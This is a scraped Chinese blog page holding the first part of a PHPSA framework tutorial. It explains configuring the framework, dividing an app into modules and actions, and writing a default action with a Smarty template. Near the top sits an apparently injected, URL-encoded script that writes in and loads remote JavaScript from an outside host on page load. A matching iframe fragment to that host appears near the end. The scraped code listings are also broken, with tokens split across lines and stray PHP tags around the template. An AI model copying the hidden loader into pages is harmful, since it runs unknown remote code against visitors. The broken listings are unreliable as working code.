使用PHPSA搭建你的应用程序(phpsa系列教程之一)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
使用PHPSA搭建你的应用程序(phpsa系列教程之一)




使用PHPSA搭建你的应用程序(phpsa系列教程之一)
大师兄(teacherli(-at-)gmail.com) 2005-12-16
            从本节开始, 我将以一种实战例程的方式来讲解一下如何将PHPSA应用到你的开发中, 我们的例子选择自一个学校的网站, 主要的功能将在以后的教程中逐渐加入, 本篇中先来讲解一下如何使用PHPSA搭建这个学校网站环境.
       
        PHPSA需要php5支持, 如果你的当前PHP版本是4系列, 请升级为PHP5后再进行测试; 如果使用UTF字符编码的话mysql要使用4.1以上, 使用其它语言编码无此要求.
       
        下载PHPSA, 解压phpsa.rar至e:/phpsa, 将解压后的目录名称更改为fecollege, 在apache中将DocumentRoot设置为e:/fecollege目录, 修改e:/fecollege/comm/config/config.class.php配置文件, 主要修改的参数为:
        1. const APPLICATION_DIR = "e:/fecollege":         主程序目录
        2. const DB_TYPE = "mysql";                  数据库类型
        3. const DB_HOST = "localhost";                数据服务器
        4. const DB_NAME = "fecollege";                数据名称
        5. const DB_USER = "root";                数据库用户名
        6. const DB_PASSWORD = "";                连接数据库密码
       
        重启apache,打开你的浏览器, 输入
http://localhost/index.php,
如果能够正常的出现在PHPSA测试实例,说明你的程序搭建完成.
        在PHPSA中搭建应用程序, 实际上是把你的应用程序先按模块(module)划分, 在模块中再划分各类与模块相关的动作(action),然后通过HTML链接来完成对相关动作的调用来实现程序功能. 例如一个用户注册模块, module名为userReg, 实现用户注册功能可以下分为以下几个action:
        1. regAction: 显示用户注册页面/执行注册操作/错误提示
        2. checkUserNameAction: 检测用户名是否被占用
        3. regSuccessAction: 显示注册成功
        regAction主要的功能有两个, 一个是显示注册界面, 包含用户第一次打开注册页面及注册表单后经过form类验证后出错返回提示; 另一个为提交用户注册信息表单. 这里就要分别实现regAction类的doView()函数与doAction()函数, 在doView()中处理与页面显示相关的东西, 在doAction中实现用户提交表单后的入库操作.
        checkUserNameAction主要用户检测用户名是否被占用
        regSuccessAction:用户执行regAction成功后使用return new Forward("user!regSuccess")跳转至此action, 用来提示用户已经注册成功
       
        需要讲明的, 这里的模块及模块的动作的划分应以你的程序为主, 划分的方法也是多种多样的, 例如上边的这个例子, 如果想用户注册时先输入用户名, 然后提交检测, 数据库中不存在相同的用户名时进行下一步详细信息填写, 这个流程中使用到的动作划分可以如下:
        1. reg1Action: 显示输入用户名/提交后检测用户是否存在
        2. reg2Action: 用户其它详细信息/提交数据库
        3. regSuccessAction:用户注册成功后的提示页面
       
        这里需要注意: 每个module名称与每个action名称的首字母都要为小写.
        让我们继续搭建我们的例程, 我们希望打开
http://locahost/index.php后出现的不是框架默认的那个测试页面,
而是一个学校的首页, 同时添加一个"在线报名"的链接.
默认模块我们定义为default, 显示首页的action定义为defaultAction. 程序中所有自定义的模块都要放置在modules目录中, 首先删除系统中的测试模块default, 然后在此目录中加入一个新的文件夹default, 按照模板的定义规范, 我们分别在新创建的default目录中加入forms, actions, views, model目录, 4个目录的作用我在框架附带的说明中已经说过, forms存放POST表单验证类, actions存放模板中定义的各种方法, views目录存放各类模板, model目录存放业务逻辑, 现在让我们在actions目录中编写defaultAction.class.php文件:
CODE:
[Copy to clipboard]
<?php
 
/**
  * default action
  * 
  * fecollege index page
  * 
  * @author teacherli 2005-11-2
  */
  
class 
DefaultAction 
extends 
Action 
{
      
      
public 
function 
DefaultAction
(
$form 

null
) {
          
parent
::
Action
(
$form
);
      }
      
    
      
public 
function 
doView
() {
          
$this
->
view
->
setTplDir
(
"./modules/default/views"
);
          
$this
->
view
->
setTpl
(
"index.html"
);
        
        
$this
->
view
->
assign
(
"title"

"phpsa框架示例"
);        
          
$this
->
view
->
display
();
      }
  }
?>
所有的动作必需继承自Action类, 有对象的form类的时请重写子类的构造函数, 这里的构造函数采用JAVA风格,使用与类名相同的的函数, 函数函数接授一个Form类的变量, 在构造函数中调用父类的构造函数并将Form类变量传递过去. 根据action所完成功能不同它可以分为两类:一类为显示界面, 另一类为执行一个操作, 本例中我们只需要它实现显示界面这个功能, 因此我们重写Action类的doView方法即可.
        doView()方法实现的功能主要由封装后的smarty来完成, 成员变量$view已经在Action类中定义, 此处直接拿来使用, 其中最重要的有这三条语句:
        1. $this->view->setTplDir("./modules/(moduleName)/views"): 设置动作所对应的模板目录
        2. $this->view->setTpl("index.html"): 设置动作所要执行的模板名称
        3. $this->view->display(): 显示action界面
        这三条语句是一个doView()函数一般进行显示界面操作的语句, 它组成doView()函数的基本功能.
        4. $this->view->assign("title", "phpsa框架示例"); 熟悉Smarty的朋友可能已经猜出意思来了,就是为模板变量赋一个值, 模板变更为title, 值为"phpsas框架示例"
        来看views目录中的index.html模板(注意: 这里模板扩展名我选择.html, 模板中所用到的界定符为<%%>)
CODE:
[Copy to clipboard]
<?php
<!
DOCTYPE HTML PUBLIC 
"-//W3C//DTD HTML 4.01 Transitional//EN"
>
<
html
>
  <
head
>
    <
title
><%
$title
%></
title
>
    <
meta http
-
equiv
=
"content-type" 
content
=
"text/html; charset=UTF-8"
>
  </
head
>
  
  <
body
>
      <
a href
=
"?action=signup!signup"
>
报名系统
</
a
>
  </
body
>
</
html
>
?>
模板采用smarty的标准语法, 不了解smarty的读者自行去查看smarty的相关教程.
        在模板中我们使用了一个链接<a href="?action=signup!signup">报名系统</a>, 这是一个基本的HTML链接元素, 指向在线报名模块的signup动作, 在线报名模块我们下一节再进行讲解. 好了, 关于PHPSA框架的安装使用就讲到这里了, 使用过程中有任何问题,欢迎发邮件与我共同讨论.
  

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值